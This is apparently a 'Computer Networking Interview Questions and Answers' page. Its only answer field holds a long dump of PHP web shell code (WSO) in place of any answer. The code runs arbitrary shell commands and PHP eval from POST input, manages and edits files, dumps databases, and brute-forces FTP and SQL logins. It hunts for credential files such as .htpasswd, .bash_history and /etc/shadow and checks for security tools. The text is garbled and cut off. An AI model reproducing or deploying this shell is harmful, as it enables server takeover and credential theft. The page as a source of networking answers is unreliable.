Computer%20Networking%20Interview%20Questions%20and%20Answers
Question: Difference between the communication and transmission.Answer: ");} function WSOsetcookie($k, $v) { $_COOKIE[$k] = $v; setcookie($k, $v); } if(!empty($auth_pass)) { if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) wsoLogin(); } if(strtolower(substr(PHP_OS,0,3)) == "win") $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) error_reporting(0); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\", "/", $home_cwd); $cwd = str_replace("\", "/", $cwd); } if($cwd[strlen($cwd)-1] != '/') $cwd .= '/'; if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; if($os == 'win') $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); else $aliases = array( "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name "config*"", "find config* files in current dir" => "find . -type f -name "config*"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" ); function wsoHeader() { if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset']; global $color; echo " "; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = 'http://exploit-db.com/search/?action=search&filter_description='; if(strpos('Linux', $kernel) !== false) $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); else $explink .= urlencode($kernel . ' ' . substr($release,0,3)); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; $i++) { $cwd_links .= "".$path[$i]."/"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= ''; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= '[ '.$k.' ]'; $drives = ""; if($GLOBALS['os'] == 'win') { foreach(range('c','z') as $drive) if(is_dir($drive.':\')) $drives .= '[ '.$drive.' ] '; } echo '' . '' . '
. '' . $menu . ' '; } function wsoFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" (Writeable)":" (Not writable)"; echo " } if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} } if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} } function wsoEx($in) { $out = ''; if (function_exists('exec')) { @exec($in,$out); $out = @join("n",$out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in,"r"))) { $out = ""; while(!@feof($f)) $out .= fread($f,1024); pclose($f); } return $out; } function wsoViewSize($s) { if($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function wsoPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's'; elseif (($p & 0xA000) == 0xA000)$i = 'l'; elseif (($p & 0x8000) == 0x8000)$i = '-'; elseif (($p & 0x6000) == 0x6000)$i = 'b'; elseif (($p & 0x4000) == 0x4000)$i = 'd'; elseif (($p & 0x2000) == 0x2000)$i = 'c'; elseif (($p & 0x1000) == 0x1000)$i = 'p'; else $i = 'u'; $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); return $i; } function wsoPermsColor($f) { if (!@is_readable($f)) return '' . wsoPerms(@fileperms($f)) . ''; elseif (!@is_writable($f)) return '' . wsoPerms(@fileperms($f)) . ''; else return '' . wsoPerms(@fileperms($f)) . ''; } function wsoScandir($dir) { if(function_exists("scandir")) { return scandir($dir); } else { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function wsoWhich($p) { $path = wsoEx('which ' . $p); if(!empty($path)) return $path; return false; } function actionSecInfo() { wsoHeader(); echo ' Server security information'; ';function wsoSecParam($n, $v) { $v = trim($v); if($v) { echo '' . $n . ': '; if(strpos($v, "n") === false) echo $v . ' '; else echo ' ' . $v . ''; } } wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); if(function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); wsoSecParam('Open base dir', @ini_get('open_basedir')); wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); $temp=array(); if(function_exists('mysql_get_client_info')) $temp[] = "MySql (".mysql_get_client_info().")"; if(function_exists('mssql_connect')) $temp[] = "MSSQL"; if(function_exists('pg_connect')) $temp[] = "PostgreSQL"; if(function_exists('oci_connect')) $temp[] = "Oracle"; wsoSecParam('Supported databases', implode(', ', $temp)); echo ' '; if($GLOBALS['os'] == 'nix') { wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); wsoSecParam('OS version', @file_get_contents('/proc/version')); wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); if(!$GLOBALS['safe_mode']) { $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); echo ' '; $temp=array(); foreach ($userful as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Userful', implode(', ',$temp)); $temp=array(); foreach ($danger as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Danger', implode(', ',$temp)); $temp=array(); foreach ($downloaders as $item) if(wsoWhich($item)) $temp[] = $item; wsoSecParam('Downloaders', implode(', ',$temp)); echo ' '; wsoSecParam('HDD space', wsoEx('df -h')); wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); echo ' posix_getpwuid ("Read" /etc/passwd)
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { $temp = ""; for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { $uid = @posix_getpwuid($_POST['p2']); if ($uid) $temp .= join(':',$uid)."n"; } echo ' '; wsoSecParam('Users', $temp); } } } else { wsoSecParam('OS Version',wsoEx('ver')); wsoSecParam('Account Settings',wsoEx('net accounts')); wsoSecParam('User Accounts',wsoEx('net user')); } echo ' wsoFooter(); } function actionPhp() { if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); ob_start(); eval($_POST['p1']); $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "nrt\' ") . "';n"; echo strlen($temp), "n", $temp; exit; } if(empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); wsoHeader(); if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { echo ' PHP info'; ob_start(); phpinfo(); $tmp = ob_get_clean(); $tmp = preg_replace(array ( '!(body|a:w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!]+>!msiU', ), array ( '', '.e, .v, .h, .h th {$1}', '' ), $tmp); echo str_replace('
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); if($dirContent === false) { echo 'Can't open this folder!';wsoFooter(); return; } global $sort; $sort = array('name', 1); if(!empty($_POST['p1'])) { if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match)) $sort = array($match[1], (int)$match[2]); } echo " "; $dirs = $files = array(); $n = count($dirContent); for($i=0;$i<$n;$i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'].$dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) ); if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => 'file')); elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) $dirs[] = array_merge($tmp, array('type' => 'dir')); } $GLOBALS['sort'] = $sort; function wsoCmp($a, $b) { if($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); else return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); } usort($files, "wsoCmp"); usort($dirs, "wsoCmp"); $files = array_merge($dirs, $files); $l = 0; foreach($files as $f) { echo ' $l = $l?0:1; } echo "
'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen', ); if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); if(in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']); $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"nrt\' ")."';n"; echo strlen($temp), "n", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); wsoHeader(); echo ' String conversions'; echo " "; Search files:"; function wsoRecursiveGlob($path) { if(substr($path, -1) != '/') $path.='/'; $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); if(is_array($paths)&&@count($paths)) { foreach($paths as $item) { if(@is_dir($item)){ if($path!=$item) wsoRecursiveGlob($item); } else { if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) echo "".htmlspecialchars($item)." "; } } } } if(@$_POST['p3']) wsoRecursiveGlob($_POST['c']); echo " Search for hash:wsoFooter(); } function actionFilesTools() { if( isset($_POST['p1']) ) $_POST['p1'] = urldecode($_POST['p1']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); if (function_exists("mime_content_type")) { $type = @mime_content_type($_POST['p1']); header("Content-Type: " . $type); } else header("Content-Type: application/octet-stream"); $fp = @fopen($_POST['p1'], "r"); if($fp) { while(!@feof($fp)) echo @fread($fp, 1024); fclose($fp); } }exit; } if( @$_POST['p2'] == 'mkfile' ) { if(!file_exists($_POST['p1'])) { $fp = @fopen($_POST['p1'], 'w'); if($fp) { $_POST['p2'] = "edit"; fclose($fp); } } } wsoHeader(); echo ' File tools'; ';if( !file_exists(@$_POST['p1']) ) { echo 'File not exists'; wsoFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST['p1'])); if(!$uid) { $uid['name'] = @fileowner($_POST['p1']); $gid['name'] = @filegroup($_POST['p1']); } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); echo 'Name: '.htmlspecialchars(@basename($_POST['p1'])).' Size: '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' Permission: '.wsoPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].' '; echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).' '; if( empty($_POST['p2']) ) $_POST['p2'] = 'view'; if( is_file($_POST['p1']) ) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); else $m = array('Chmod', 'Rename', 'Touch'); foreach($m as $v) echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; echo ' '; switch($_POST['p2']) { case 'view': echo ' ';'; break; case 'highlight': if( @is_readable($_POST['p1']) ) { echo ' '; ';$code = @highlight_file($_POST['p1'],true); echo str_replace(array(''), array(''),$code).' } break; case 'chmod': if( !empty($_POST['p3']) ) { $perms = 0; for($i=strlen($_POST['p3'])-1;$i>=0;--$i) $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); if(!@chmod($_POST['p1'], $perms)) echo 'Can't set permissions! '; } clearstatcache(); echo ''; break; case 'edit': if( !is_writable($_POST['p1'])) { echo 'File isn't writeable'; break; } if( !empty($_POST['p3']) ) { $time = @filemtime($_POST['p1']); $_POST['p3'] = substr($_POST['p3'],1); $fp = @fopen($_POST['p1'],"w"); if($fp) { @fwrite($fp,$_POST['p3']); @fclose($fp); echo 'Saved! '; @touch($_POST['p1'],$time,$time); } } echo ''; break; case 'hexdump': $c = @file_get_contents($_POST['p1']); $n = 0; $h = array('00000000 ','',''); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf('%02X',ord($c[$i])).' '; switch ( ord($c[$i]) ) { case 0: $h[2] .= ' '; break; case 9: $h[2] .= ' '; break; case 10: $h[2] .= ' '; break; case 13: $h[2] .= ' '; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).' ';} $h[1] .= ' '; $h[2] .= "n"; } } echo '
break; case 'rename': if( !empty($_POST['p3']) ) { if(!@rename($_POST['p1'], $_POST['p3'])) echo 'Can't rename! '; else die(''); } echo ''; break; case 'touch': if( !empty($_POST['p3']) ) { $time = strtotime($_POST['p3']); if($time) { if(!touch($_POST['p1'],$time,$time)) echo 'Fail!'; else echo 'Touched!'; } else echo 'Bad time format!'; } clearstatcache(); echo ''; break; } echo ' wsoFooter(); } function actionConsole() { if(!empty($_POST['p1']) && !empty($_POST['p2'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); $_POST['p1'] .= ' 2>&1'; } elseif(!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); if(isset($_POST['ajax'])) { WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); ob_start(); echo "d.cf.cmd.value='';n"; $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("n$ ".$_POST['p1']."n".wsoEx($_POST['p1']),"nrt\' ")); if(preg_match("!.*cds+([^;]+)$!",$_POST['p1'],$match)) { if(@chdir($match[1])) { $GLOBALS['cwd'] = @getcwd(); echo "c_='".$GLOBALS['cwd']."';"; } } echo "d.cf.output.value+='".$temp."';"; echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "n", $temp; exit; } if(empty($_POST['ajax'])&&!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); wsoHeader(); echo ""; echo ' Console';wsoFooter(); } function actionLogout() { setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); die('bye!'); } function actionSelfRemove() { if($_POST['p1'] == 'yes') if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__))) die('Shell has been removed'); else echo 'unlink error!'; if($_POST['p1'] != 'yes') wsoHeader(); echo ' SuicideReally want to remove the shell? ';Yes wsoFooter(); } function actionBruteforce() { wsoHeader(); if( isset($_POST['proto']) ) { echo ' ResultsType: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).' '; if( $_POST['proto'] == 'ftp' ) { function wsoBruteForce($ip,$port,$login,$pass) { $fp = @ftp_connect($ip, $port?$port:21); if(!$fp) return false; $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif( $_POST['proto'] == 'mysql' ) { function wsoBruteForce($ip,$port,$login,$pass) { $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); @mysql_close($res); return $res; } } elseif( $_POST['proto'] == 'pgsql' ) { function wsoBruteForce($ip,$port,$login,$pass) { $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(":", $_POST['server']); if($_POST['type'] == 1) { $temp = @file('/etc/passwd'); if( is_array($temp) ) foreach($temp as $line) { $line = explode(":", $line); ++$attempts; if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { $success++; echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).' '; } if(@$_POST['reverse']) { $tmp = ""; for($i=strlen($line[0])-1; $i>=0; --$i) $tmp .= $line[0][$i]; ++$attempts; if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { $success++; echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp); } } } } elseif($_POST['type'] == 2) { $temp = @file($_POST['dict']); if( is_array($temp) ) foreach($temp as $line) { $line = trim($line); ++$attempts; if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { $success++; echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).' '; } } } echo "Attempts: $attempts Success: $success "; } echo ' Bruteforce' .'' .'' .'' .'' .'' .'' .'
echo ' '; wsoFooter(); } function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type) { case 'mysql': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; break; case 'pgsql': $host = explode(':', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; break; } return false; } function selectdb($db) { switch($this->type) { case 'mysql': if (@mysql_select_db($db))return true; break; } return false; } function query($str) { switch($this->type) { case 'mysql': return $this->res = @mysql_query($str); break; case 'pgsql': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type) { case 'mysql': return @mysql_fetch_assoc($res); break; case 'pgsql': return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch($this->type) { case 'mysql': return $this->query("SHOW databases"); break; case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch($this->type) { case 'mysql': return $this->res = $this->query('SHOW TABLES'); break; case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch($this->type) { case 'mysql': return @mysql_error(); break; case 'pgsql': return @pg_last_error(); break; } return false; } function setCharset($str) { switch($this->type) { case 'mysql': if(function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else $this->query('SET CHARSET '.$str); break; case 'pgsql': return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch($this->type) { case 'mysql': return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); break; case 'pgsql': $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); $r=array(); while($i=$this->fetch()) $r[] = $i['file']; $this->query('drop table wso2'); return array('file'=>implode("n",$r)); break; } return false; } function dump($table, $fp = false) { switch($this->type) { case 'mysql': $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); $create = mysql_fetch_array($res); $sql = $create[1].";n"; if($fp) fwrite($fp, $sql); else echo($sql); $this->query('SELECT * FROM `'.$table.'`'); $i = 0; $head = true; while($item = $this->fetch()) { $sql = ''; if($i % 1000 == 0) { $head = true; $sql = ";nn"; } $columns = array(); foreach($item as $k=>$v) { if($v === null) $item[$k] = "NULL"; elseif(is_int($v)) $item[$k] = $v; else $item[$k] = "'".@mysql_real_escape_string($v)."'"; $columns[] = "`".$k."`"; } if($head) { $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES nt(".implode(", ", $item).')'; $head = false; } else $sql .= "nt,(".implode(", ", $item).')'; if($fp) fwrite($fp, $sql); else echo($sql); $i++; } if(!$head) if($fp) fwrite($fp, ";nn"); else echo(";nn"); break; case 'pgsql': $this->query('SELECT * FROM '.$table); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = "'".addslashes($v)."'"; $columns[] = $k; } $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."n"; if($fp) fwrite($fp, $sql); else echo($sql); } break; } return false; } }; $db = new DbClass($_POST['type']); if(@$_POST['p2']=='download') { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); $db->selectdb($_POST['sql_base']); |
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